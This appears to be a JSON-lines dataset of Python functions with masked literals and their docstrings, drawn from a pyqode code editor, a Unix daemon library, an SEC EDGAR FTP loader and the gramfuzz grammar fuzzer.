{"signature": "def mouseMoveEvent(self, e):", "body": "super(PyInteractiveConsole, self).mouseMoveEvent(e)<EOL>cursor = self.cursorForPosition(e.pos())<EOL>assert isinstance(cursor, QtGui.QTextCursor)<EOL>p = cursor.positionInBlock()<EOL>usd = cursor.block().userData()<EOL>if usd and usd.start_pos_in_block <= p <= usd.end_pos_in_block:<EOL><INDENT>if QtWidgets.QApplication.overrideCursor() is None:<EOL><INDENT>QtWidgets.QApplication.setOverrideCursor(<EOL>QtGui.QCursor(QtCore.Qt.PointingHandCursor))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if QtWidgets.QApplication.overrideCursor() is not None:<EOL><INDENT>QtWidgets.QApplication.restoreOverrideCursor()<EOL><DEDENT><DEDENT>", "docstring": "Extends mouseMoveEvent to display a pointing hand cursor when the\nmouse cursor is over a file location", "id": "f709:c0:m3"}
{"signature": "def mousePressEvent(self, e):", "body": "super(PyInteractiveConsole, self).mousePressEvent(e)<EOL>cursor = self.cursorForPosition(e.pos())<EOL>p = cursor.positionInBlock()<EOL>usd = cursor.block().userData()<EOL>if usd and usd.start_pos_in_block <= p <= usd.end_pos_in_block:<EOL><INDENT>if e.button() == QtCore.Qt.LeftButton:<EOL><INDENT>self.open_file_requested.emit(usd.filename, usd.line)<EOL><DEDENT><DEDENT>", "docstring": "Emits open_file_requested if the press event occured  over\na file location string.", "id": "f709:c0:m4"}
{"signature": "def setPlainText(self, txt, mimetype='<STR_LIT>', encoding='<STR_LIT:utf-8>'):", "body": "try:<EOL><INDENT>self.syntax_highlighter.docstrings[:] = []<EOL>self.syntax_highlighter.import_statements[:] = []<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>super(PyCodeEditBase, self).setPlainText(txt, mimetype, encoding)<EOL>", "docstring": "Extends QCodeEdit.setPlainText to allow user to setPlainText without\nmimetype (since the python syntax highlighter does not use it).", "id": "f711:c0:m1"}
{"signature": "def _logger():", "body": "return logging.getLogger(__name__)<EOL>", "docstring": "Returns the module's logger", "id": "f714:m0"}
{"signature": "def calltips(request_data):", "body": "code = request_data['<STR_LIT:code>']<EOL>line = request_data['<STR_LIT>'] + <NUM_LIT:1><EOL>column = request_data['<STR_LIT>']<EOL>path = request_data['<STR_LIT:path>']<EOL>encoding = '<STR_LIT:utf-8>'<EOL>script = jedi.Script(code, line, column, path, encoding)<EOL>signatures = script.call_signatures()<EOL>for sig in signatures:<EOL><INDENT>results = (str(sig.module_name), str(sig.name),<EOL>[p.description for p in sig.params], sig.index,<EOL>sig.bracket_start, column)<EOL>return results<EOL><DEDENT>return []<EOL>", "docstring": "Worker that returns a list of calltips.\n\nA calltips is a tuple made of the following parts:\n  - module_name: name of the module of the function invoked\n  - call_name: name of the function that is being called\n  - params: the list of parameter names.\n  - index: index of the current parameter\n  - bracket_start\n\n:returns tuple(module_name, call_name, params)", "id": "f714:m1"}
{"signature": "def goto_assignments(request_data):", "body": "code = request_data['<STR_LIT:code>']<EOL>line = request_data['<STR_LIT>'] + <NUM_LIT:1><EOL>column = request_data['<STR_LIT>']<EOL>path = request_data['<STR_LIT:path>']<EOL>encoding = '<STR_LIT:utf-8>'<EOL>script = jedi.Script(code, line, column, path, encoding)<EOL>try:<EOL><INDENT>definitions = script.goto_assignments()<EOL><DEDENT>except jedi.NotFoundError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>ret_val = [(d.module_path, d.line - <NUM_LIT:1> if d.line else None,<EOL>d.column, d.full_name)<EOL>for d in definitions]<EOL>return ret_val<EOL><DEDENT>", "docstring": "Go to assignements worker.", "id": "f714:m2"}
{"signature": "def defined_names(request_data):", "body": "global _old_definitions<EOL>ret_val = []<EOL>path = request_data['<STR_LIT:path>']<EOL>toplvl_definitions = jedi.names(<EOL>request_data['<STR_LIT:code>'], path, '<STR_LIT:utf-8>')<EOL>for d in toplvl_definitions:<EOL><INDENT>definition = _extract_def(d, path)<EOL>if d.type != '<STR_LIT>':<EOL><INDENT>ret_val.append(definition)<EOL><DEDENT><DEDENT>ret_val = [d.to_dict() for d in ret_val]<EOL>return ret_val<EOL>", "docstring": "Returns the list of defined names for the document.", "id": "f714:m4"}
{"signature": "def quick_doc(request_data):", "body": "code = request_data['<STR_LIT:code>']<EOL>line = request_data['<STR_LIT>'] + <NUM_LIT:1><EOL>column = request_data['<STR_LIT>']<EOL>path = request_data['<STR_LIT:path>']<EOL>encoding = '<STR_LIT:utf-8>'<EOL>script = jedi.Script(code, line, column, path, encoding)<EOL>try:<EOL><INDENT>definitions = script.goto_definitions()<EOL><DEDENT>except jedi.NotFoundError:<EOL><INDENT>return []<EOL><DEDENT>else:<EOL><INDENT>ret_val = [d.docstring() for d in definitions]<EOL>return ret_val<EOL><DEDENT>", "docstring": "Worker that returns the documentation of the symbol under cursor.", "id": "f714:m5"}
{"signature": "def run_pep8(request_data):", "body": "import pycodestyle<EOL>from pyqode.python.backend.pep8utils import CustomChecker<EOL>WARNING = <NUM_LIT:1><EOL>code = request_data['<STR_LIT:code>']<EOL>path = request_data['<STR_LIT:path>']<EOL>max_line_length = request_data['<STR_LIT>']<EOL>ignore_rules = request_data['<STR_LIT>']<EOL>ignore_rules += ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>pycodestyle.MAX_LINE_LENGTH = max_line_length<EOL>pep8style = pycodestyle.StyleGuide(parse_argv=False, config_file='<STR_LIT>',<EOL>checker_class=CustomChecker)<EOL>try:<EOL><INDENT>results = pep8style.input_file(path, lines=code.splitlines(True))<EOL><DEDENT>except Exception:<EOL><INDENT>_logger().exception('<STR_LIT>'<EOL>% request_data)<EOL>return []<EOL><DEDENT>else:<EOL><INDENT>messages = []<EOL>for line_number, offset, code, text, doc in results:<EOL><INDENT>if code in ignore_rules:<EOL><INDENT>continue<EOL><DEDENT>messages.append(('<STR_LIT>' % (code, text), WARNING,<EOL>line_number - <NUM_LIT:1>))<EOL><DEDENT>return messages<EOL><DEDENT>", "docstring": "Worker that run the pep8 tool on the current editor text.\n\n:returns a list of tuples (msg, msg_type, line_number)", "id": "f714:m6"}
{"signature": "def run_pyflakes(request_data):", "body": "global prev_results<EOL>from pyflakes import checker<EOL>import _ast<EOL>WARNING = <NUM_LIT:1><EOL>ERROR = <NUM_LIT:2><EOL>ret_val = []<EOL>code = request_data['<STR_LIT:code>']<EOL>path = request_data['<STR_LIT:path>']<EOL>encoding = request_data['<STR_LIT>']<EOL>if not encoding:<EOL><INDENT>encoding = '<STR_LIT:utf-8>'<EOL><DEDENT>if not path:<EOL><INDENT>path = os.path.join(tempfile.gettempdir(), '<STR_LIT>')<EOL><DEDENT>if not code:<EOL><INDENT>return []<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>tree = compile(code.encode(encoding), path, \"<STR_LIT>\",<EOL>_ast.PyCF_ONLY_AST)<EOL><DEDENT>except SyntaxError as value:<EOL><INDENT>msg = '<STR_LIT>' % value.args[<NUM_LIT:0>]<EOL>(lineno, offset, text) = value.lineno - <NUM_LIT:1>, value.offset, value.text<EOL>if text is None:<EOL><INDENT>_logger().warning(\"<STR_LIT>\",<EOL>path)<EOL><DEDENT>else:<EOL><INDENT>ret_val.append((msg, ERROR, lineno))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>w = checker.Checker(tree, os.path.split(path)[<NUM_LIT:1>])<EOL>w.messages.sort(key=lambda m: m.lineno)<EOL>for message in w.messages:<EOL><INDENT>msg = \"<STR_LIT>\" % str(message).split('<STR_LIT::>')[-<NUM_LIT:1>].strip()<EOL>line = message.lineno - <NUM_LIT:1><EOL>status = WARNINGif message.__class__ not in PYFLAKES_ERROR_MESSAGESelse ERROR<EOL>ret_val.append((msg, status, line))<EOL><DEDENT><DEDENT><DEDENT>prev_results = ret_val<EOL>return ret_val<EOL>", "docstring": "Worker that run a frosted (the fork of pyflakes) code analysis on the\ncurrent editor text.", "id": "f714:m7"}
{"signature": "def icon_from_typename(name, icon_type):", "body": "ICONS = {<EOL>'<STR_LIT>': ICON_CLASS,<EOL>'<STR_LIT>': ICON_NAMESPACE,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_NAMESPACE,<EOL>'<STR_LIT>': ICON_KEYWORD,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_VAR,<EOL>'<STR_LIT>': ICON_FUNC,<EOL>'<STR_LIT>': ICON_FUNC,<EOL>'<STR_LIT>': ICON_FUNC_PRIVATE,<EOL>'<STR_LIT>': ICON_FUNC_PROTECTED<EOL>}<EOL>ret_val = None<EOL>icon_type = icon_type.upper()<EOL>if hasattr(name, \"<STR_LIT:string>\"):<EOL><INDENT>name = name.string<EOL><DEDENT>if icon_type == \"<STR_LIT>\" or icon_type == \"<STR_LIT>\":<EOL><INDENT>icon_type = \"<STR_LIT>\"<EOL><DEDENT>if icon_type == \"<STR_LIT>\" or icon_type == \"<STR_LIT>\":<EOL><INDENT>if name.startswith(\"<STR_LIT>\"):<EOL><INDENT>icon_type += \"<STR_LIT>\"<EOL><DEDENT>elif name.startswith(\"<STR_LIT:_>\"):<EOL><INDENT>icon_type += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>if icon_type in ICONS:<EOL><INDENT>ret_val = ICONS[icon_type]<EOL><DEDENT>elif icon_type:<EOL><INDENT>_logger().warning(\"<STR_LIT>\", icon_type)<EOL><DEDENT>return ret_val<EOL>", "docstring": "Returns the icon resource filename that corresponds to the given typename.\n\n:param name: name of the completion. Use to make the distinction between\n    public and private completions (using the count of starting '_')\n:pram typename: the typename reported by jedi\n\n:returns: The associate icon resource filename or None.", "id": "f714:m8"}
{"signature": "@staticmethod<EOL><INDENT>def complete(code, line, column, path, encoding, prefix):<DEDENT>", "body": "ret_val = []<EOL>try:<EOL><INDENT>script = jedi.Script(code, line + <NUM_LIT:1>, column, path, encoding)<EOL>completions = script.completions()<EOL>print('<STR_LIT>' % completions)<EOL><DEDENT>except jedi.NotFoundError:<EOL><INDENT>completions = []<EOL><DEDENT>for completion in completions:<EOL><INDENT>ret_val.append({<EOL>'<STR_LIT:name>': completion.name,<EOL>'<STR_LIT>': icon_from_typename(<EOL>completion.name, completion.type),<EOL>'<STR_LIT>': completion.description})<EOL><DEDENT>return ret_val<EOL>", "docstring": "Completes python code using `jedi`_.\n\n:returns: a list of completion.", "id": "f714:c0:m0"}
{"signature": "def __init__(self, pidfile):", "body": "self._pidfile = pidfile<EOL>self.pidfile = None<EOL>", "docstring": "Create a new instance", "id": "f731:c0:m0"}
{"signature": "def acquire(self):", "body": "try:<EOL><INDENT>pidfile = open(self._pidfile, \"<STR_LIT:a>\")<EOL><DEDENT>except IOError as err:<EOL><INDENT>raise SystemExit(err)<EOL><DEDENT>try:<EOL><INDENT>fcntl.flock(pidfile.fileno(), fcntl.LOCK_EX | fcntl.LOCK_NB)<EOL><DEDENT>except IOError:<EOL><INDENT>raise SystemExit('<STR_LIT>' + self._pidfile)<EOL><DEDENT>pidfile.seek(<NUM_LIT:0>)<EOL>pidfile.truncate()<EOL>pidfile.write(str(os.getpid()) + '<STR_LIT:\\n>')<EOL>pidfile.flush()<EOL>self.pidfile = pidfile<EOL>atexit.register(self.release)<EOL>", "docstring": "Acquire the pidfile.\n\n        Create the pidfile, lock it, write the pid into it\n        and register the release with atexit.\n\n\n        :return: None\n        :raise: SystemExit", "id": "f731:c0:m3"}
{"signature": "def release(self):", "body": "try:<EOL><INDENT>self.pidfile.close()<EOL>os.remove(self._pidfile)<EOL><DEDENT>except OSError as err:<EOL><INDENT>if err.errno != <NUM_LIT:2>:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Release the pidfile.\n\n        Close and delete the Pidfile.\n\n\n        :return: None", "id": "f731:c0:m4"}
{"signature": "def close_filenos(preserve):", "body": "maxfd = resource.getrlimit(resource.RLIMIT_NOFILE)[<NUM_LIT:1>]<EOL>if maxfd == resource.RLIM_INFINITY:<EOL><INDENT>maxfd = <NUM_LIT><EOL><DEDENT>for fileno in range(maxfd):<EOL><INDENT>if fileno not in preserve:<EOL><INDENT>try:<EOL><INDENT>os.close(fileno)<EOL><DEDENT>except OSError as err:<EOL><INDENT>if not err.errno == errno.EBADF:<EOL><INDENT>raise DaemonError(<EOL>'<STR_LIT>'<EOL>.format(fileno, err))<EOL><DEDENT><DEDENT><DEDENT><DEDENT>", "docstring": "Close unprotected file descriptors\n\n    Close all open file descriptors that are not in preserve.\n\n    If ulimit -nofile is \"unlimited\", all is defined filenos <= 4096,\n    else all is <= the output of resource.getrlimit().\n\n    :param preserve: set with protected files\n    :type preserve: set\n\n    :return: None", "id": "f733:m0"}
{"signature": "def default_signal_map():", "body": "name_map = {<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': '<STR_LIT>'}<EOL>signal_map = {}<EOL>for name, target in name_map.items():<EOL><INDENT>if hasattr(signal, name):<EOL><INDENT>signal_map[getattr(signal, name)] = target<EOL><DEDENT><DEDENT>return signal_map<EOL>", "docstring": "Create the default signal map for this system.\n\n    :return: dict", "id": "f733:m1"}
{"signature": "def parent_is_init():", "body": "if os.getppid() == <NUM_LIT:1>:<EOL><INDENT>return True<EOL><DEDENT>return False<EOL>", "docstring": "Check if parent is Init\n\n    Check if the parent process is init, or something else that\n    owns PID 1.\n\n    :return: bool", "id": "f733:m2"}
{"signature": "def parent_is_inet():", "body": "result = False<EOL>sock = socket.fromfd(<EOL>sys.__stdin__.fileno(),<EOL>socket.AF_INET,<EOL>socket.SOCK_RAW)<EOL>try:<EOL><INDENT>sock.getsockopt(socket.SOL_SOCKET, socket.SO_TYPE)<EOL>result = True<EOL><DEDENT>except (OSError, socket.error) as err:<EOL><INDENT>if not err.args[<NUM_LIT:0>] == errno.ENOTSOCK:<EOL><INDENT>result = True<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Check if parent is inet\n\n    Check if our parent seems ot be a superserver, aka inetd/xinetd.\n\n    This is done by checking if sys.__stdin__ is a network socket.\n\n    :return: bool", "id": "f733:m3"}
{"signature": "def detach_required():", "body": "if parent_is_inet() or parent_is_init():<EOL><INDENT>return False<EOL><DEDENT>return True<EOL>", "docstring": "Check if detaching is required\n\n    This is done by collecting the results of parent_is_inet and\n    parent_is_init. If one of them is True, detaching, aka the daemoninzing,\n    aka the double fork magic, is not required, and can be skipped.\n\n    :return: bool", "id": "f733:m4"}
{"signature": "def redirect_stream(system, target):", "body": "if target is None:<EOL><INDENT>target_fd = os.open(os.devnull, os.O_RDWR)<EOL><DEDENT>else:<EOL><INDENT>target_fd = target.fileno()<EOL><DEDENT>try:<EOL><INDENT>os.dup2(target_fd, system.fileno())<EOL><DEDENT>except OSError as err:<EOL><INDENT>raise DaemonError('<STR_LIT>'<EOL>.format(system, target, err))<EOL><DEDENT>", "docstring": "Redirect Unix streams\n\n    If None, redirect Stream to /dev/null, else redirect to target.\n\n    :param system: ether sys.stdin, sys.stdout, or sys.stderr\n    :type system: file object\n\n    :param target: File like object, or None\n    :type target: None, File Object\n\n    :return: None\n    :raise: DaemonError", "id": "f733:m5"}
{"signature": "def __init__(<EOL>self, chroot_directory=None, working_directory='<STR_LIT:/>',<EOL>umask=<NUM_LIT:0>, uid=None, gid=None, prevent_core=True,<EOL>detach_process=None, files_preserve=None, pidfile=None,<EOL>stdin=None, stdout=None, stderr=None, signal_map=None):", "body": "self._is_open = False<EOL>self._working_directory = None<EOL>self.chroot_directory = chroot_directory<EOL>self.umask = umask<EOL>self.uid = uid if uid else os.getuid()<EOL>self.gid = gid if gid else os.getgid()<EOL>if detach_process is None:<EOL><INDENT>self.detach_process = detach_required()<EOL><DEDENT>else:<EOL><INDENT>self.detach_process = detach_process<EOL><DEDENT>self.signal_map = signal_map if signal_map else default_signal_map()<EOL>self.files_preserve = files_preserve<EOL>self.pidfile = pidfile<EOL>self.prevent_core = prevent_core<EOL>self.stdin = stdin<EOL>self.stdout = stdout<EOL>self.stderr = stderr<EOL>self.working_directory = working_directory<EOL>", "docstring": "Initialize a new Instance", "id": "f733:c1:m0"}
{"signature": "def __enter__(self):", "body": "self.open()<EOL>return self<EOL>", "docstring": "Context Handler, wrapping self.open()\n\n        :return: self", "id": "f733:c1:m1"}
{"signature": "def __exit__(self, exc_type, exc_val, exc_tb):", "body": "self.close()<EOL>", "docstring": "Context Handler, wrapping self.close()\n\n        :return: None", "id": "f733:c1:m2"}
{"signature": "def _get_signal_handler(self, handler):", "body": "if not handler:<EOL><INDENT>result = signal.SIG_IGN<EOL><DEDENT>elif isinstance(handler, string_types):<EOL><INDENT>result = getattr(self, handler)<EOL><DEDENT>else:<EOL><INDENT>result = handler<EOL><DEDENT>return result<EOL>", "docstring": "get the callback function for handler\n\n        If the handler is None, returns signal.SIG_IGN.\n        If the handler is a string, return the matching attribute of this\n        instance if possible.\n        Else return the handler itself.\n\n        :param handler:\n        :type handler: str, None, function\n        :return: function", "id": "f733:c1:m3"}
{"signature": "@property<EOL><INDENT>def _files_preserve(self):<DEDENT>", "body": "result = set()<EOL>files = [] if not self.files_preserve else self.files_preserve<EOL>files.extend([self.stdin, self.stdout, self.stderr])<EOL>for item in files:<EOL><INDENT>if hasattr(item, '<STR_LIT>'):<EOL><INDENT>result.add(item.fileno())<EOL><DEDENT>if isinstance(item, int):<EOL><INDENT>result.add(item)<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "create a set of protected files\n\n        create a set of files, based on self.files_preserve and\n        self.stdin, self,stdout and self.stderr, that should not get\n        closed while daemonizing.\n\n        :return: set", "id": "f733:c1:m4"}
{"signature": "@property<EOL><INDENT>def _signal_handler_map(self):<DEDENT>", "body": "result = {}<EOL>for signum, handler in self.signal_map.items():<EOL><INDENT>result[signum] = self._get_signal_handler(handler)<EOL><DEDENT>return result<EOL>", "docstring": "Create the signal handler map\n\n        create a dictionary with signal:handler mapping based on\n        self.signal_map\n\n        :return: dict", "id": "f733:c1:m5"}
{"signature": "@property<EOL><INDENT>def working_directory(self):<DEDENT>", "body": "if self.chroot_directory and notself._working_directory.startswith(self.chroot_directory):<EOL><INDENT>return self.chroot_directory + self._working_directory<EOL><DEDENT>else:<EOL><INDENT>return self._working_directory<EOL><DEDENT>", "docstring": "The working_directory property\n\n        :return: str", "id": "f733:c1:m6"}
{"signature": "@working_directory.setter<EOL><INDENT>def working_directory(self, value):<DEDENT>", "body": "self._working_directory = value<EOL>", "docstring": "Set working directory\n\n        New value is ignored if already daemonized.\n\n        :param value: str\n        :return:", "id": "f733:c1:m7"}
{"signature": "@property<EOL><INDENT>def is_open(self):<DEDENT>", "body": "return self._is_open<EOL>", "docstring": "True when this instances open method was called\n\n        :return: bool", "id": "f733:c1:m8"}
{"signature": "def close(self):", "body": "pass<EOL>", "docstring": "Dummy function", "id": "f733:c1:m9"}
{"signature": "def open(self):", "body": "if self.is_open:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>os.chdir(self.working_directory)<EOL>if self.chroot_directory:<EOL><INDENT>os.chroot(self.chroot_directory)<EOL><DEDENT>os.setgid(self.gid)<EOL>os.setuid(self.uid)<EOL>os.umask(self.umask)<EOL><DEDENT>except OSError as err:<EOL><INDENT>raise DaemonError('<STR_LIT>'<EOL>.format(err))<EOL><DEDENT>if self.prevent_core:<EOL><INDENT>try:<EOL><INDENT>resource.setrlimit(resource.RLIMIT_CORE, (<NUM_LIT:0>, <NUM_LIT:0>))<EOL><DEDENT>except Exception as err:<EOL><INDENT>raise DaemonError('<STR_LIT>'<EOL>.format(err))<EOL><DEDENT><DEDENT>if self.detach_process:<EOL><INDENT>try:<EOL><INDENT>if os.fork() > <NUM_LIT:0>:<EOL><INDENT>os._exit(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>except OSError as err:<EOL><INDENT>raise DaemonError('<STR_LIT>'.format(err))<EOL><DEDENT>os.setsid()<EOL>try:<EOL><INDENT>if os.fork() > <NUM_LIT:0>:<EOL><INDENT>os._exit(<NUM_LIT:0>)<EOL><DEDENT><DEDENT>except OSError as err:<EOL><INDENT>raise DaemonError('<STR_LIT>'.format(err))<EOL><DEDENT><DEDENT>for (signal_number, handler) in self._signal_handler_map.items():<EOL><INDENT>signal.signal(signal_number, handler)<EOL><DEDENT>close_filenos(self._files_preserve)<EOL>redirect_stream(sys.stdin, self.stdin)<EOL>redirect_stream(sys.stdout, self.stdout)<EOL>redirect_stream(sys.stderr, self.stderr)<EOL>if self.pidfile:<EOL><INDENT>self.pidfile.acquire()<EOL><DEDENT>self._is_open = True<EOL>", "docstring": "Daemonize this process\n\n        Do everything that is needed to become a Unix daemon.\n\n        :return: None\n        :raise: DaemonError", "id": "f733:c1:m10"}
{"signature": "def terminate(self, signal_number, stack_frame):", "body": "raise SystemExit('<STR_LIT>'.format(signal_number))<EOL>", "docstring": "Terminate this process\n\n        Simply terminate this process by raising SystemExit.\n        This method is called if signal.SIGTERM was received.\n\n        Check carefully if this really is what you want!\n\n        Most likely it is not!\n\n        You should implement a function/method that is able to cleanly\n        shutdown you daemon. Like gracefully terminating child processes,\n        threads. or closing files.\n\n        You can create a custom handler by overriding this method, ot\n        setting a custom handler via the signal_map. It is also possible\n        to set the signal handlers directly via signal.signal().\n\n        :return: None\n        :raise: SystemExit", "id": "f733:c1:m11"}
{"signature": "def create_and_load(self):", "body": "create_db_and_user()<EOL>initialize_database()<EOL>populate_database(self.daily_files, self.quarterly_files)<EOL>", "docstring": "Use this to create a user, a database, and load the database with files.\nIt will take a while to run and will only work if your network allows FTP\nfile transfer.  It also requires you to have a postgres server running locally.", "id": "f737:c0:m1"}
{"signature": "def retrieve_document(file_path, directory='<STR_LIT>'):", "body": "ftp = FTP('<STR_LIT>', timeout=None)<EOL>ftp.login()<EOL>name = file_path.replace('<STR_LIT:/>', '<STR_LIT:_>')<EOL>if not os.path.exists(directory):<EOL><INDENT>os.makedirs(directory)<EOL><DEDENT>with tempfile.TemporaryFile() as temp:<EOL><INDENT>ftp.retrbinary('<STR_LIT>' % file_path, temp.write)<EOL>temp.seek(<NUM_LIT:0>)<EOL>with open('<STR_LIT>'.format(directory, name), '<STR_LIT>') as f:<EOL><INDENT>f.write(temp.read().decode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>f.closed<EOL>records = temp<EOL>retry = False<EOL><DEDENT>ftp.close()<EOL>", "docstring": "This function takes a file path beginning with edgar and stores the form in a directory.\nThe default directory is sec_filings but can be changed through a keyword argument.", "id": "f740:m14"}
{"signature": "def generate(grammar=None, num=<NUM_LIT:1>, output=sys.stdout, max_recursion=<NUM_LIT:10>, seed=None):", "body": "if seed is not None:<EOL><INDENT>gramfuzz.rand.seed(seed)<EOL><DEDENT>fuzzer = gramfuzz.GramFuzzer()<EOL>fuzzer.load_grammar(grammar)<EOL>cat_group = os.path.basename(grammar).replace(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>results = fuzzer.gen(cat_group=cat_group, num=num, max_recursion=max_recursion)<EOL>for res in results:<EOL><INDENT>output.write(res)<EOL><DEDENT>", "docstring": "Load and generate ``num`` number of top-level rules from the specified grammar.\n\n    :param list grammar: The grammar file to load and generate data from\n    :param int num: The number of times to generate data\n    :param output: The output destination (an open, writable stream-type object. default=``sys.stdout``)\n    :param int max_recursion: The maximum reference-recursion when generating data (default=``10``)\n    :param int seed: The seed to initialize the PRNG with. If None, will not initialize it.", "id": "f748:m0"}
{"signature": "def make_present_participles(verbs):", "body": "res = []<EOL>for verb in verbs:<EOL><INDENT>parts = verb.split()<EOL>if parts[<NUM_LIT:0>].endswith(\"<STR_LIT:e>\"):<EOL><INDENT>parts[<NUM_LIT:0>] = parts[<NUM_LIT:0>][:-<NUM_LIT:1>] + \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>parts[<NUM_LIT:0>] = parts[<NUM_LIT:0>] + \"<STR_LIT>\"<EOL><DEDENT>res.append(\"<STR_LIT:U+0020>\".join(parts))<EOL><DEDENT>return res<EOL>", "docstring": "Make the list of verbs into present participles\n\n    E.g.:\n\n        empower -> empowering\n        drive -> driving", "id": "f751:m1"}
{"signature": "def __and__(self, other):", "body": "if isinstance(other, And) and other.rolling:<EOL><INDENT>other.values.append(self)<EOL>return other<EOL><DEDENT>else:<EOL><INDENT>return And(self, other, rolling=True)<EOL><DEDENT>", "docstring": "Wraps this field and the other field in an ``And``", "id": "f756:c0:m0"}
{"signature": "def __or__(self, other):", "body": "if isinstance(other, Or) and other.rolling:<EOL><INDENT>other.values.append(self)<EOL>return other<EOL><DEDENT>else:<EOL><INDENT>return Or(self, other, rolling=True)<EOL><DEDENT>", "docstring": "Wraps this field and the other field in an ``Or``", "id": "f756:c0:m1"}
{"signature": "def __and__(self, other):", "body": "if isinstance(self, And) and self.rolling:<EOL><INDENT>self.values.append(other)<EOL>return self<EOL><DEDENT>elif isinstance(other, And) and other.rolling:<EOL><INDENT>other.values.append(self)<EOL>return other<EOL><DEDENT>else:<EOL><INDENT>return And(self, other, rolling=True)<EOL><DEDENT>", "docstring": "Wrap this field and the other field in an ``And``\n\n        :param  other: Another ``Field`` class, instance, or python object to ``Or`` with", "id": "f756:c1:m0"}
{"signature": "def __or__(self, other):", "body": "if isinstance(self, Or) and self.rolling:<EOL><INDENT>self.values.append(other)<EOL>return self<EOL><DEDENT>elif isinstance(other, Or) and other.rolling:<EOL><INDENT>other.values.append(self)<EOL>return other<EOL><DEDENT>else:<EOL><INDENT>return Or(self, other, rolling=True)<EOL><DEDENT>", "docstring": "Wrap this field and the other field in an ``Or``\n\n        :param  other: Another ``Field`` class, instance, or python object to ``Or`` with", "id": "f756:c1:m1"}
{"signature": "def _odds_val(self):", "body": "if len(self.odds) == <NUM_LIT:0>:<EOL><INDENT>self.odds = [(<NUM_LIT>, [self.min, self.max])]<EOL><DEDENT>rand_val = rand.random()<EOL>total = <NUM_LIT:0><EOL>for percent,v in self.odds:<EOL><INDENT>if total <= rand_val < total+percent:<EOL><INDENT>found_v = v<EOL>break<EOL><DEDENT>total += percent<EOL><DEDENT>res = None<EOL>if isinstance(v, (tuple,list)):<EOL><INDENT>rand_func = rand.randfloat if type(v[<NUM_LIT:0>]) is float else rand.randint<EOL>if len(v) == <NUM_LIT:2>:<EOL><INDENT>res = rand_func(v[<NUM_LIT:0>], v[<NUM_LIT:1>])<EOL><DEDENT>elif len(v) == <NUM_LIT:1>:<EOL><INDENT>res = v[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>res = v<EOL><DEDENT>return res<EOL>", "docstring": "Determine a new random value derived from the\n        defined :any:`gramfuzz.fields.Field.odds` value.\n\n        :returns: The derived value", "id": "f756:c1:m2"}
{"signature": "def __init__(self, value=None, **kwargs):", "body": "self.value = value<EOL>if \"<STR_LIT>\" in kwargs or \"<STR_LIT>\" in kwargs:<EOL><INDENT>self.odds = []<EOL><DEDENT>self.min = kwargs.setdefault(\"<STR_LIT>\", self.min)<EOL>self.max = kwargs.setdefault(\"<STR_LIT>\", self.max)<EOL>self.odds = kwargs.setdefault(\"<STR_LIT>\", self.odds)<EOL>", "docstring": "Create a new Int object, optionally specifying a hard-coded value\n\n        :param int value: The value of the new int object\n        :param int min: The minimum value (if value is not specified)\n        :param int max: The maximum value (if value is not specified)\n        :param list odds: The probability list. See ``Field.odds`` for more information.", "id": "f756:c2:m0"}
{"signature": "def __init__(self, value=None, **kwargs):", "body": "super(String, self).__init__(value, **kwargs)<EOL>self.charset = kwargs.setdefault(\"<STR_LIT>\", self.charset)<EOL>", "docstring": "Create a new instance of the ``String`` field.\n\n        :param value: The hard-coded value of the String field\n        :param int min: The minimum size of the String when built\n        :param int max: The maximum size of the String when built\n        :param str charset: The character-set to be used when building the string", "id": "f756:c6:m0"}
{"signature": "def __init__(self, *values, **kwargs):", "body": "self.values = list(values)<EOL>self.sep = kwargs.setdefault(\"<STR_LIT>\", self.sep)<EOL>self.max = kwargs.setdefault(\"<STR_LIT>\", None)<EOL>", "docstring": "Create a new instance of the ``Join`` class.\n\n        :param list values: The values to join\n        :param str sep: The string with which to separate each of the values (default=``\",\"``)\n        :param int max: The maximum number of times (inclusive) to build the first item in ``values``.\n            This can be useful when a variable number of items in a list is needed. E.g.:\n\n            .. code-block:: python\n\n                Join(Int, max=5, sep=\",\")", "id": "f756:c7:m0"}
{"signature": "def __init__(self, *values, **kwargs):", "body": "self.sep = kwargs.setdefault(\"<STR_LIT>\", self.sep)<EOL>self.values = list(values)<EOL>self.rolling = kwargs.setdefault(\"<STR_LIT>\", False)<EOL>self.fuzzer = GramFuzzer.instance()<EOL>", "docstring": "Create a new ``And`` field instance.\n\n        :param list values: The list of values to be concatenated", "id": "f756:c8:m0"}
